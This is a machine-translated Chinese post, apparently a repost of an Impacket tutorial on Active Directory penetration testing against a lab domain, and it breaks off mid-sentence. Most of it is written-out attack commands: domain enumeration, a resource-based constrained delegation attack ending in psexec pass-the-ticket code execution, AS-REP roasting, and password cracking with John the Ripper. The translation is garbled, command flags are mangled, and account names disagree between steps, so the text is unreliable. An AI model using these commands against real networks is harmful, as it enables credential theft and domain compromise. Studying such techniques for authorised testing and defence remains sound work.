8
月
在社区成长 8 月
LEVEL 90
100 XP
Impacket 是一个功能强大的Python 工具包,用于处理网络协议,在Active Directory (AD) 渗透测试中特别有用。它提供了各种脚本来利用常见的AD 漏洞、执行横向移动和提取敏感数据。本文演示了使用Impacket 的实用AD 渗透测试技术,涵盖枚举、利用和后利用。
枚举AD用户
枚举AD 计算机
基于资源的约束委派(RBCD) 攻击基于Kerberos 的攻击AS-REP 烘焙
Kerbero 烘烤
凭证转储DCSync攻击
本地管理员密码解决方案(LAPS) 提取
GMSA攻击
滥用AD-DACLForceChangePassword
WriteDacl 写所有者
跨越HashShadow 凭证攻击从注册表中提取凭证HiveMitigationConclusion
impacket-lookupsid ignite.local/krishna
assword@[email protected]
impacket-GetADUsers ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.14 -all
检索所有AD 用户及其属性(例如上次登录、描述)。
impacket-GetADComputers ignite.local/aarti
assword@1 -dc-ip 192.168.1.14
以下步骤概述了该过程:
创建一个虚假的计算机帐户
通过将域控制器(DC) 上的控制委派给这台假机器来编辑目标的“rbcd”属性
假计算机帐户代表域控制器(DC$) 帐户进行操作
获取门票(委托操作)
获得门票后,可通过通票使用。
为此,我们将使用addcomputer 脚本,该脚本有一个SAMR 选项来添加新计算机,该计算机通过SMB 运行。
impacket-addcomputer ignite.local/geet
assword@1 -计算机名称fakepc -计算机通密码@123 -dc-ip 192.168.1.14
我们可以使用Impacket的rbcd脚本来读取、写入或清除委托权限。确保您使用具有适当权限的域用户的凭据。
impacket-rbcd ignite.local/geet
assword@1 -action write -delegate-to 'DC$' -delegate-from 'farkepc$' -dc-ip 192.168.1.14
然后,它使用用户服务到代理(S4U2Proxy) 将票证升级以获得对DC$ 的访问权限。
修改委派属性后,您可以使用Impacket getST 脚本获取用于模拟的服务票证(ST)。例如,您可以冒充管理员或域内的任何其他用户。
impacket-getST ignite.local/'farzipc$'
assword@123 -spn cifs/DC.ignite.local -模拟管理员-dc-ip 192.168.1.14
为了使用票证,首先导出指向创建的票证的环境变量。
导出KRB5CCNAME=administrator@[email protected]
使用impacket 的psexec 使用pass-the-ticket 方法进行远程代码执行。
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.14
攻击如何进行:请求票证:攻击者向密钥分发中心(KDC) 发送请求,以获取禁用预身份验证的帐户。
接收加密数据:KDC 发回AS-REP 响应,并使用帐户的密码哈希进行加密。
破解密码: 攻击者利用工具离线暴力破解密码。如果密码很弱,他们就可以获得访问权限。
Impacket 中的GetNPUsers 脚本可用于执行AS-REP Roasting 攻击并检索密码哈希值。
impacket-GetNPUsers -dc-ip 192.168.1.14 ignite.local/-usersfile users.txt -format john -outputfile 哈希值
此外,借助John the Ripper 字典(例如Rockyou)可以帮助攻击者从哈希中提取密码。
john -w=/usr/share/wordlists/rockyou.txt 哈希值
Impacket 的GetUserSPNs 脚本将尝试查找并获取与普通用户帐户关联的服务主体名称。输出i
目录
ImpacketEnumerationEnumerate SID 简介枚举AD用户
枚举AD 计算机
基于资源的约束委派(RBCD) 攻击基于Kerberos 的攻击AS-REP 烘焙
Kerbero 烘烤
凭证转储DCSync攻击
本地管理员密码解决方案(LAPS) 提取
GMSA攻击
滥用AD-DACLForceChangePassword
WriteDacl 写所有者
跨越HashShadow 凭证攻击从注册表中提取凭证HiveMitigationConclusion
Impacket 简介
Impacket 是一个基于Python 的多功能工具包,广泛用于渗透测试和恶意黑客攻击。对于渗透测试人员来说,Impacket 有助于模拟真实的攻击场景,从而识别和修复组织网络内的漏洞。攻击者经常使用Impacket 来利用Windows 服务和协议、在网络内横向移动、提升权限以及访问敏感数据。 Impacket 是包括勒索软件组织在内的威胁行为者青睐的工具,因为它具有全面的侦察、凭证转储和未经授权的命令执行功能。枚举
枚举是AD 渗透测试的第一步,用于收集有关用户、计算机和其他AD 对象的信息。枚举 SID
Impacket 的查找功能允许您枚举Windows 系统上的用户SID(安全标识符)和组SID。 Windows 系统上的每个用户帐户和组帐户都有一个唯一的SID。通过获取SID,您可以收集有关现有用户帐户的信息,这对于了解网络的结构和潜在的攻击向量非常有价值。impacket-lookupsid ignite.local/krishna
枚举 AD 用户
Impacket 的GetADUsers 工具用于查询Active Directory 用户。它通过使用凭据并执行LDAP 查询来获取有关AD 环境中用户的信息。它可以帮助提取用户名、描述(可能是一些有趣的信息)、上次登录时间、上次设置的密码等信息。impacket-GetADUsers ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.14 -all
检索所有AD 用户及其属性(例如上次登录、描述)。
枚举 AD 计算机
列出域中的所有计算机对象。impacket-GetADComputers ignite.local/aarti
基于资源的约束委派 (RBCD) 攻击
基于资源的约束委派(RBCD) 是Active Directory (AD) 中的一项安全功能,允许计算机对象指定哪些用户或计算机可以模拟帐户来访问其资源。与旧的无约束和约束委托方法相比,此委托方法提供了更精细的控制。然而,攻击者可以利用错误配置的RBCD 来获得未经授权的访问并提升域内的权限。以下步骤概述了该过程:
创建一个虚假的计算机帐户
通过将域控制器(DC) 上的控制委派给这台假机器来编辑目标的“rbcd”属性
假计算机帐户代表域控制器(DC$) 帐户进行操作
获取门票(委托操作)
获得门票后,可通过通票使用。
滥用 MachineAccountQuota 创建计算机帐户
由于Active Directory 允许用户创建计算机帐户(如果MachineAccountQuota 0),因此我们利用它来使用Geet 帐户创建新的假计算机。为此,我们将使用addcomputer 脚本,该脚本有一个SAMR 选项来添加新计算机,该计算机通过SMB 运行。
impacket-addcomputer ignite.local/geet
重写 DC 的AllowedToActOnBehalfOfOtherIdentity 属性
我们将在域控制器(DC$) 上配置msDS-AllowedToActOnBehalfOfOtherIdentity,允许我们的假计算机帐户冒充用户。我们可以使用Impacket的rbcd脚本来读取、写入或清除委托权限。确保您使用具有适当权限的域用户的凭据。
impacket-rbcd ignite.local/geet
生成 CIFS 服务票据
假计算机帐户使用用户到自身服务(S4U2Self) 为特权用户(例如管理员)请求Kerberos 服务票证。然后,它使用用户服务到代理(S4U2Proxy) 将票证升级以获得对DC$ 的访问权限。
修改委派属性后,您可以使用Impacket getST 脚本获取用于模拟的服务票证(ST)。例如,您可以冒充管理员或域内的任何其他用户。
impacket-getST ignite.local/'farzipc$'
获得特权访问
获得Kerberos 票证后,您可以通过票证传递技术来使用它。为了使用票证,首先导出指向创建的票证的环境变量。
导出KRB5CCNAME=administrator@[email protected]
使用impacket 的psexec 使用pass-the-ticket 方法进行远程代码执行。
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.14
基于 Kerberos 的攻击
由于配置错误和凭据薄弱,Kerberos 是AD 攻击的常见目标。AS-REP 烘焙
AS-REP Roasting 是针对Kerberos 身份验证协议的攻击。它利用禁用Kerberos 预身份验证的帐户,允许攻击者离线破解密码。攻击如何进行:请求票证:攻击者向密钥分发中心(KDC) 发送请求,以获取禁用预身份验证的帐户。
接收加密数据:KDC 发回AS-REP 响应,并使用帐户的密码哈希进行加密。
破解密码: 攻击者利用工具离线暴力破解密码。如果密码很弱,他们就可以获得访问权限。
Impacket 中的GetNPUsers 脚本可用于执行AS-REP Roasting 攻击并检索密码哈希值。
impacket-GetNPUsers -dc-ip 192.168.1.14 ignite.local/-usersfile users.txt -format john -outputfile 哈希值
此外,借助John the Ripper 字典(例如Rockyou)可以帮助攻击者从哈希中提取密码。
john -w=/usr/share/wordlists/rockyou.txt 哈希值
Kerber 烘烤
Kerberoasting 是一种技术,允许攻击者窃取使用RC4 加密的KRB_TGS 票证,以暴力破解应用程序服务哈希来提取其密码。Impacket 的GetUserSPNs 脚本将尝试查找并获取与普通用户帐户关联的服务主体名称。输出i